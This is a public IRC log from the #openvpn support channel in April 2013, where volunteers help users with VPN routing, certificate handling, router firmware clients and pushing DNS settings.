11:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
11:43 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
11:44 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
11:45 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
11:48 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
12:00 -!- novaflash is now known as novaflash_away
12:00 -!- novaflash_away is now known as novaflash
12:06 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
12:28 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
12:28 -!- dazo is now known as dazo_afk
12:35 -!- kirin` [telex@gateway/shell/anapnea.net/x-cnmccmgesnikyyde] has joined #openvpn
12:37 <@ecrist> dazo_afk: sorry, I didn't see the soap box.  :P
12:40 -!- kirin` [telex@gateway/shell/anapnea.net/x-cnmccmgesnikyyde] has quit [Ping timeout: 246 seconds]
12:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-wgcgemxlgntwtswk] has joined #openvpn
12:47 -!- kirin` [telex@gateway/shell/anapnea.net/x-wgcgemxlgntwtswk] has quit [Ping timeout: 264 seconds]
12:48 -!- kirin` [telex@gateway/shell/anapnea.net/x-tndeoktjnzodkdxx] has joined #openvpn
12:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-tndeoktjnzodkdxx] has quit [Ping timeout: 245 seconds]
12:55 <@krzee> does windows need 2 tap devices installed to connect to 2 servers at once?
12:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-zddanlxdrkjlcjyc] has joined #openvpn
13:00 -!- kirin` [telex@gateway/shell/anapnea.net/x-zddanlxdrkjlcjyc] has quit [Read error: Connection reset by peer]
13:02 -!- kirin` [telex@gateway/shell/anapnea.net/x-dlxewwevcaamiqzt] has joined #openvpn
13:09 <@ecrist> krzee: yes
13:09 <@ecrist> krzee: see my PM
13:09 <@krzee> ahh weak
13:09 <@krzee> from yesterday?
13:10 <@krzee> if not, my bnc ate it
13:15 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
13:18 < vaillor> there is some problem with route, because server won't route packets to other networks
13:19 <@ecrist> you have a problem in your config
13:20 < vaillor> ecrist, can i show you it with nopaste?
13:22 < pekster> krzee: As of later 2.3.0 builds (>=I004, IIRC) the "add tap device" script should be present under the TAP-Windows start-menu folder
13:22 <@krzee> after you add a second windows tap device do you need to specify it in the openvpn config or does it just work?  (im helping someone remotely)
13:22 < pekster> 2.3.0 prior to that had an NSIS build error and won't show up. 2.2 and earlier should
13:22 < pekster> krzee: It'll just work, as long as your config doens't reference a particular interface by name of CLSID
13:22 < pekster> The default just looks for "any" free tap device
13:23 < pekster> Adding a new one might disconnect current tunnels (blame Windows for that)
13:23 <@krzee> sweet thanks
13:23 < pekster> by name *or* CLSID (not of)
13:24 < pekster> Normally you don't do that, but you can f.ex, --dev-node {0123-ABCDEF...}
13:39  * ecrist kicks krzee
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
14:00 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:02 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
14:02 < DBordello> Any reason not to use the same cert for simultaneous connections?
14:03 <@EugeneKay> One client to different servers? No, go for it.
14:03 <@EugeneKay> Multiple clients to one server? Don't do that; you're supposed to use the CN of the cert to uniquely ID a client.
14:04 < DBordello> multiple clients -> same server
14:05 -!- kfreds [~kfreds@slask.mullvad.net] has quit [Quit: leaving]
14:05 < pekster> Don't do that. By default openvpn will disconnect old (currently connected) users with the same CN. --duplicate-cn can avoid that, but you can't uniquely identify, revoke, or control (pass special options to) that client, or control server-side dynamic scripts, like firewalls
14:06 < pekster> Why would you want that anyway?
14:06 < DBordello> pekster, trusted users, easier to distribute a single package with the certificates and config file
14:07 < DBordello> but I will fix it
14:07 < pekster> More concerning is that you're distributing your private keys in the package too
14:07 < DBordello> yes
14:07 < pekster> That's a rather big security no-no
14:08 < DBordello> Well, besides that
14:08 < pekster> At that point you'd almost be better off avoiding client certs completely, ship a --tls-auth file if you want in the package, and use user+pass authentication without client certs
14:09 < pekster> You gain the ability to control users by a unique CN and avoid needing to prepare a unique cert per-client
14:09 < DBordello> not a bad idea, but I am just distributing it to family members.  I like the ease of cert based authentication
14:09 < DBordello> but i will simply issue a new cert for each client
14:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:23 -!- mirco [~mirco@p5080611C.dip.t-dialin.net] has joined #openvpn
14:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
14:29 < vaillor> http://nopaste.info/b82c6ec05f.html
14:29 < vaillor> it's correct?
14:29 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
14:29 < vaillor> i need to understand why route won't work
14:32 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
14:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
14:37 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
14:39 -!- Devastator [~devas@177.18.196.58] has joined #openvpn
14:39 -!- Devastator [~devas@177.18.196.58] has quit [Changing host]
14:39 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
14:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:49 < pekster> vaillor: The route statement you have is redundant; the --server directive implies --route already
14:49 < vaillor> pekster, i describe you my config
14:50 < vaillor> client ip: 192.168.1.128, client vpn: 10.8.0.2 server ip: 192.168.1.133 server vpn: 10.8.0.1
14:50 < TomM_> I keep getting this error when trying to sign keys http://pastie.org/private/xt9jbdvdao0n835vrja
14:50 -!- uberushaximus [~uberushax@hacked.thegov.us] has left #openvpn []
14:55 < pekster> TomM_: You need a unique CN for each cert you sign
14:55 < TomM_> Okay.
14:55 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
14:55 < TomM_> Thanks ;)
14:56 < vaillor> pekster, on the base of my ip configuration, can you suggest  me the proper route configuration please?
14:58 < pekster> No, I can't. You haven't described what you intend to do
15:00 -!- mirco [~mirco@p5080611C.dip.t-dialin.net] has quit [Quit: mirco]
15:00 < vaillor> pekster, i'm on client and i need to reach different subnet on the server
15:00 < vaillor> if it doesn't work, i can't redirect internet traffic trought server
15:01 < pekster> Are they on 2 different physical networks, your client & server?
15:03 < vaillor> so and so
15:03 < vaillor> now, no
15:03 < vaillor> but maybe i connect to vpn from other networks
15:04 < pekster> There's no point in pushing a server side netwnork when your client is on that same network
15:05 < pekster> Conceptually, you want to see:
15:05 < pekster> !serverlan
15:05 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
15:05 < pekster> Also, your server LAN of 192.168.1.0/24 is a very bad choice since hundreds of thousands of home routers use that same network. Pick a less common netework
15:07 <@krzee> !1918
15:07 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
15:08 <@krzee> if too lazy to pick a less common subnet, #3 above ^
15:08 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
15:08 < vaillor> pekster: https://www.twiddla.com/1141114
15:08 < vaillor> this is my config
15:08 <@vpnHelper> Title: New Twiddla Meeting (at www.twiddla.com)
15:09 <@krzee> allow me to introduce you to gliffy.com
15:09 < vaillor> i hope it will explain what i want to do :)
15:09 <@krzee> vaillor, your vpn server and client are on the same lan
15:09 <@krzee> ?
15:09 < vaillor> yes
15:09 <@krzee> then whats the point?
15:10 < timmmaaaayyy> anyone here successfully use openvpn on a chromebook?
15:10 < vaillor> i want to go to internet trought vpn server
15:10 < vaillor> but it doesn't work
15:10 <@krzee> vaillor, while home?
15:10 <@krzee> or from elsewhere?
15:10 <@krzee> (it is different)
15:10 <@krzee> !local
15:10 <@vpnHelper> "local" is a flag for --redirect-gateway, Add the local flag if both OpenVPN machines are directly connected via a common subnet, such as with wireless.
15:11 < vaillor> redirect-gateway is only into client config
15:11 < vaillor> do i need to set it also on the server?
15:14 < rob0> If both sides of a tunnel redirected their gateway, you'd have a routing loop. :)
15:15 < vaillor> client and server are on the same network
15:17 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:18 < vaillor> If your VPN setup is over a wireless network, where all clients and the server are on the same wireless subnet, add the local flag:
15:18 < vaillor> i'm not over a wireless
15:19 < timmmaaaayyy> noone using openvpn with a chromebook/chromeos?
15:20 < pekster> vaillor, you need to read more carefully. It says "such as with wireless." You need that *any* time you're on the same local network
15:21 < vaillor> ok, i need to add "local" on both server and client?
15:21 < pekster> I believe we already covered that you wouldn't want to redirect both gateways to each other
15:22 < vaillor>  need to add "local" on both server and client?
15:22 < pekster> :(
15:22 < vaillor> :\
15:22 < pekster> What you need is to learn how networking works. Your lack of common understanding prevents you from being able to understand almost anything you've been told
15:25 <@ecrist> !101
15:25 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
15:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:48 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Read error: Connection reset by peer]
15:51 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:58 -!- mattock is now known as mattock_afk
16:01 -!- raidz is now known as raidz_away
16:08 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:40 -!- digilink_ [~digilink@70.90.228.197] has joined #openvpn
16:40 -!- digilink_ [~digilink@70.90.228.197] has quit [Client Quit]
16:40 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:41 -!- digilink [~digilink@unaffiliated/digilink] has quit [Remote host closed the connection]
16:41 -!- digilink_ [~digilink@70.90.228.197] has joined #openvpn
16:41 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:42 -!- digilink_ [~digilink@70.90.228.197] has quit [Client Quit]
16:56 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:02 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
17:02 -!- Orbi [~opera@46.246.36.187] has left #openvpn []
17:02 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
17:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:23 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
17:32 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
17:42 -!- Some_Person [~someperso@unaffiliated/someperson/x-249303] has left #openvpn ["Leaving"]
17:47 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
18:00 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:01 -!- TomM_ [~quassel@unaffiliated/tommehm] has quit [Ping timeout: 246 seconds]
18:04 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:06 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
18:07 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
18:08 -!- TomM_ [~quassel@unaffiliated/tommehm] has joined #openvpn
18:13 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
18:18 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
18:26 -!- raidz_away is now known as raidz
18:55 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:59 -!- u0m3 [~Radu@92.80.104.242] has quit [Read error: Connection reset by peer]
19:03 -!- u0m3 [~Radu@92.80.76.42] has joined #openvpn
19:07 -!- hazardous [~dbn@void.kassad.in] has quit [Changing host]
19:07 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
19:07 -!- mode/#openvpn [+v hazardous] by ChanServ
19:07 -!- systemd0wn [~systemd0w@c-98-212-79-26.hsd1.il.comcast.net] has joined #openvpn
19:07 < systemd0wn> !welcome
19:07 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:07 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:08 -!- u0m3 [~Radu@92.80.76.42] has quit [Read error: Connection reset by peer]
19:12 -!- u0m3 [~Radu@92.80.89.137] has joined #openvpn
19:13 < systemd0wn> I'm connecting to a VPN which has access to the internet. I'm using split tunneling (not changing default route). This same box is running Squid proxy. I want the users connecting to the squid proxy to have their traffic forwarded over the VPN. I know it's possible with iptables but I'm having a rough time figuring out the proper way to do this. Suggestions?
19:17 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:17 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
19:22 < pekster> systemd0wn: You probably want to have squid bind to the VPN IP, or alternativly use policy routing to send the squid upstream traffic across the VPN. If I've understood your setup
19:25 < systemd0wn> I can't guarantee the VPN IP will be the same each time so I'm not sure if I should bind it.
19:25 < systemd0wn> It will be lan users connecting to eth0 via proxy. Then the proxy server has a tun interface to the VPN network/internet.
19:26 < pekster> Policy routing might be better then if you can't have your proxy server bind to the upstream IP directly
19:26 < pekster> I take it your on Linux (hence the iptables reference.) The LARTC Howto is the go-to resource for learning about policy routing in a multi-homed setup
19:27 < systemd0wn> haha. just found it.
19:27 < systemd0wn> Thanks! Any ideas on how to go about it? I'm just trying to narrow my reading a bit.
19:28 < pekster> Read through that well enough to understand the fundamentals of the iproute2 suite ('ip route' and 'ip rule' pieces in particular) and how they can work with netfilter. My hint to you in your situation is that iptables can use the -m owner match, so you can f.ex, policy route anything the 'squid' user sends out via a different interface. You might consider using connmark support too, since the final ACK in a tcp-handshake is sent by ...
19:28 < pekster> ... the kernel, not the user
19:28 < pekster> You shouldn't "narrow" any reading of the LARTC howto up to the policy routing bit unless you're already an expert in those sections. Skipping educational steps will lead to more confusion later
19:29 -!- hrenovo [~hrenovo@ool-43546bee.dyn.optonline.net] has joined #openvpn
19:29 < pekster> Well, more accurately you route by addresses. The fact that it goes out your tun interface is merely incidental
19:29 < systemd0wn> Thank you. I really appreciate it. I'm glad you mentioned the owner switch because that was one of the vague ideas I had.
19:30 < hrenovo> HI Folks.
19:30 < systemd0wn> Right. I'm a cisco networking guy so I get routing pretty well but I'm totally new to doing it in Linux.
19:30 < pekster> Yup. I'd blindly set a connmark on mangle/OUTPUT matched by owner, then later on that chain use --set-mark to set the nfmark from the ctmark. 'ip rule' can use the nfmark (they call it fwmark) to send to your non-default table
19:30 < pekster> That also keeps related connections like ICMP errors on the same interface
19:31 < pekster> Hopefully that'll all make more sense when you have a handle on the fundamentals
19:31 < hrenovo> hi pekster
19:31 < systemd0wn> haha. It makes me glad I log IRC because I have no idea what you're talking about right now.
19:31 < hrenovo> So I followed the advice to install install tomato
19:32 < pekster> Erm, not --set-mark, but --save-mark. See iptables-extensions(8) for the nitty details there
19:32 < hrenovo> systemd0wn: welcome )
19:32 < systemd0wn> hello
19:32 -!- Zoness [~Zoness@136.176.112.126] has quit [Remote host closed the connection]
19:32 < hrenovo> So far, Tomato connects to the OpenVPN server just fine, and I can confirm by pinging OpenVPN tun interface IP as well as all the rest of the VPN clients. However, I cannot ping any outside ip or google.com.
19:33 < systemd0wn> is forwarding turned on?
19:33 < hrenovo> on the server? yeah
19:34 < hrenovo> The server is confirmed and working with multiple OpenVPN clients, both linux and windows. But it is still broken in Tomato's client.
19:34 < systemd0wn> So you can't ping from your tamato router to 8.8.8.8 for instance (google dns server)
19:35 < hrenovo> I didn't try pinging 8.8.8.8 but google.com won't ping
19:35 < hrenovo> or the IP
19:35 < hrenovo> google's ip won't ping
19:35 < systemd0wn> ya definitely work with IP's so you don't have to worry about dns.
19:36 < systemd0wn> 1. have you checked your routes? 2. Can you ping and specify the tunnel interface?
19:36 < systemd0wn> Anyone else interject if I'm leading him astray this is my first time in #openvpn
19:36 < hrenovo> I started a forum post about this yesterday
19:37 < hrenovo> https://forums.openvpn.net/topic12590.html
19:37 <@vpnHelper> Title: OpenVPN Support Forum Tomato as OpenVPN client for traffic redirect to hide my ass : Server Administration (at forums.openvpn.net)
19:38 < hrenovo> if I start the openvpn client in tomato I will loose irc connection ... so I can't even try lol
19:38 < hrenovo> but I am very open for ideas which I can then try without irc )
19:39 < systemd0wn> well you'll need to connect and check your routes. Post them up in the forum or pastebin and hit me back with a link. I don't think you should need any iptable statements if your routes are good.
19:40 < hrenovo> see the server I think is fine and i shouldn't change anything on the server side
19:40 < systemd0wn> right. I mean on the tomato rtr
19:41 < systemd0wn> if your other vpn clients are good the server shouldn't be the issue.
19:41 < hrenovo> do you understand what I am trying to do right ?
19:41 < hrenovo> My goal is to have all traffic to be redirected so that when I check my IP address on http://www.whatismyip.com it would show the OpenVPN server's IP.
19:42 < systemd0wn> Ya. so you have a home rtr that you want to connect to the vpn server. then all users that connect to the rtr, be it WiFi or ethernet will then have their traffic sent over the VPN.
19:42 < hrenovo> yep
19:42 < systemd0wn> right. So that router's routing table needs the default route to be the tunnel.
19:43 <@EugeneKay> You've been trying to get this running for two weeks now
19:43 <@EugeneKay> Go read the documentation
19:43 < hrenovo> EugeneKay: I'm way passed that
19:43 <@EugeneKay> !redirect
19:43 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:43 <@vpnHelper> http://ircpimps.org/redirect.png
19:43 < hrenovo> EugeneKay: I flashed dd-wrt with tomato, dd-wrt was buggy
19:44 <@EugeneKay> I'm not going to help you with $SHITTY_FIRMWARE
19:44 < hrenovo> I flashed it yesterday
19:44 < hrenovo> fine !
19:44 < hrenovo> we are still friends though right ?
19:44 <@EugeneKay> Got beer?
19:45 < hrenovo> Sure! Cheers!
19:45 < hrenovo> so you think that tomato is shit and dd-wrt is the shit ? lol
19:46 < hrenovo> systemd0wn: how would I check if tun is default ?
19:47 -!- raidz is now known as raidz_away
19:47 < systemd0wn> Yup.
19:48 < systemd0wn> destination should be 0.0.0.0, gatway, interface should be the tun
19:48 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 246 seconds]
19:58 <@EugeneKay> I think all integrated router firmware is shit
19:58 <@EugeneKay> I use a proper i3-powered server with two gigabit NICs
20:00 < systemd0wn> It's hard for me to justify the power consumption.
20:14 -!- hrenovo [~hrenovo@ool-43546bee.dyn.optonline.net] has quit [Ping timeout: 256 seconds]
20:18 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
20:26 <@EugeneKay> Mine is also home to 10 2TB drives and a full dev environment, among other things. :v
20:27 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
20:27 -!- xbanux [~xbanux@115.254.75.113] has quit [Read error: No route to host]
20:27 < pekster> EugeneKay: My embedded firmware is allright. Of course, I built it myself :P
20:36 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:37 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
20:46 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has joined #openvpn
20:54 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 240 seconds]
20:55 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
20:55 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
21:32 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xifixzoijyvohvth] has quit [Ping timeout: 248 seconds]
21:37 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
21:41 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
21:45 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
22:20 -!- xbanux1 [~xbanux@115.254.75.113] has quit [Ping timeout: 256 seconds]
22:23 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
22:56 < MaynardWaters> hey guys, what would be the next step to trouble shooting this problem:
22:57 < MaynardWaters> I run "sudo openvpn --config cba.ovpn"
22:57 < MaynardWaters> it gets all the way to Initialization Sequence Complete
22:57 <@EugeneKay> !goal
22:57 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
22:57 < MaynardWaters> I would like to access some file servers on the vpn
22:58 <@EugeneKay> Do you run the vpn server?
22:58 < MaynardWaters> I do not, but I have access to the people who do, and I can ask them questions
22:58 <@EugeneKay> !both
22:58 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
22:59 <@EugeneKay> Without knowing how your network is laid out and where the services are..... ;-)
23:30 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-otezoyzazyocrqih] has joined #openvpn
23:33 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Ping timeout: 240 seconds]
23:33 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
23:36 < hrenovo> so tomato sucks as a client ?
23:36 < systemd0wn> I'm taking off but I will say nobody has updated tomato since 2010
23:43 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Ping timeout: 245 seconds]
--- Day changed Fri Apr 05 2013
00:10 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
00:14 -!- brute11k [~brute@89.249.230.11] has quit [Ping timeout: 264 seconds]
00:15 -!- brute11k [~brute@89.249.230.11] has joined #openvpn
00:15 < hrenovo> yay! its working !
00:17 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
00:19 -!- brute11k [~brute@89.249.230.11] has quit [Ping timeout: 245 seconds]
00:21 -!- brute11k [~brute@89.249.230.11] has joined #openvpn
00:26 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 245 seconds]
00:28 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
00:33 -!- shutin_ [~ks@c-50-136-187-227.hsd1.ca.comcast.net] has joined #openvpn
00:44 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
00:44 -!- shutin_ [~ks@c-50-136-187-227.hsd1.ca.comcast.net] has left #openvpn []
01:12 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has quit [Quit: leaving]
01:16 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 248 seconds]
01:25 -!- xbanux [~xbanux@114.143.216.139] has joined #openvpn
01:34 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
01:42 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:42 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has joined #openvpn
01:44 -!- jimmyz2 [d055d3c4@gateway/web/cgi-irc/kiwiirc.com/ip.208.85.211.196] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
01:48 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:55 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
02:06 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
02:06 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
02:28 -!- brute11k [~brute@89.249.230.11] has quit [Ping timeout: 255 seconds]
02:31 -!- brute11k [~brute@89.249.230.11] has joined #openvpn
02:41 -!- Guest92979 [~misako@113.210.11.192] has joined #openvpn
03:09 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:10 -!- Starscreamer [~starscrea@02dfcc2a.bb.sky.com] has joined #openvpn
03:15 -!- mattock_afk is now known as mattock
03:16 -!- systemd0wn [~systemd0w@c-98-212-79-26.hsd1.il.comcast.net] has quit []
03:20 -!- Starscreamer [~starscrea@02dfcc2a.bb.sky.com] has quit [Quit: Colloquy for iPad - http://colloquy.mobi]
03:20 -!- xbanux [~xbanux@114.143.216.139] has quit [Remote host closed the connection]
03:22 -!- xbanux [~xbanux@114.143.216.139] has joined #openvpn
03:27 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Read error: Connection reset by peer]
03:32 -!- zat [~zatty@ax313-2-89-86-124-89.dsl.sta.abo.bbox.fr] has joined #openvpn
03:32 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:36 -!- dazo_afk is now known as dazo
03:47 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
03:47 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:52 -!- Guest92979 [~misako@113.210.11.192] has quit [Ping timeout: 240 seconds]
03:53 -!- xvzf [~gergoe@pool-046ad.externet.hu] has joined #openvpn
03:53 < xvzf> !welcome
03:53 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
03:53 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
03:54 < xvzf> !goal
03:54 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
04:27 < zat> Hi !
04:36 < xvzf> hi, is it an openvpn question at all if the DNS is not working through the tunnel?
05:06 -!- blorgh_ [~bagar@c-ba08e353.029-192-7570701.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
05:07 < pppingme> xvzf what are you using for a dns server?
05:16 -!- blorgh [~bagar@c-ba08e353.029-192-7570701.cust.bredbandsbolaget.se] has joined #openvpn
05:21 < MacGyver> xvzf: Do you mean that after establishing the tunnel, DNS does not work; or that after establishing the tunnel DNS works but isn't using the tunnel?
05:22 < xvzf> MacGyver: DNS does not discover ip addresses behind the tunnel, i.e. machine names of the connected organisation
05:22 < xvzf> pppingme: I'm using Fedora and do not know, what is the usual DNS server there? For sure not bind.
05:23 < MacGyver> xvzf: So when you got to e.g. www.google.com (or a random addressf on the internet you haven't visited before, because google might be cached,), it just works as usual?
05:23 < xvzf> MacGyver: yes it works
05:29 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
05:50 -!- BAMbanda [~BAMbanda@c-98-231-137-71.hsd1.md.comcast.net] has joined #openvpn
05:53 < Dropje> xvzf: if you want to be able to use the DNS server within the VPN server's LAN you'll have to notify the client by using: push "dhcp-option DNS x.x.x.x"
05:54 < Dropje> then make sure you're client interprets the pushed settings.. on linux you'll need to use the update-resolv-conf script
05:56 < Dropje> !factoids
05:56 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
06:01 <@dazo> xvzf: look at !pushdns
06:01 <@dazo> !pushdns
06:01 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
06:01 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
06:01 <@dazo> especially #4
06:04 -!- master_of_master [~master_of@p4FF24831.dip.t-dialin.net] has joined #openvpn
06:07 -!- _BAMbanda [~BAMbanda@199.58.84.40] has joined #openvpn
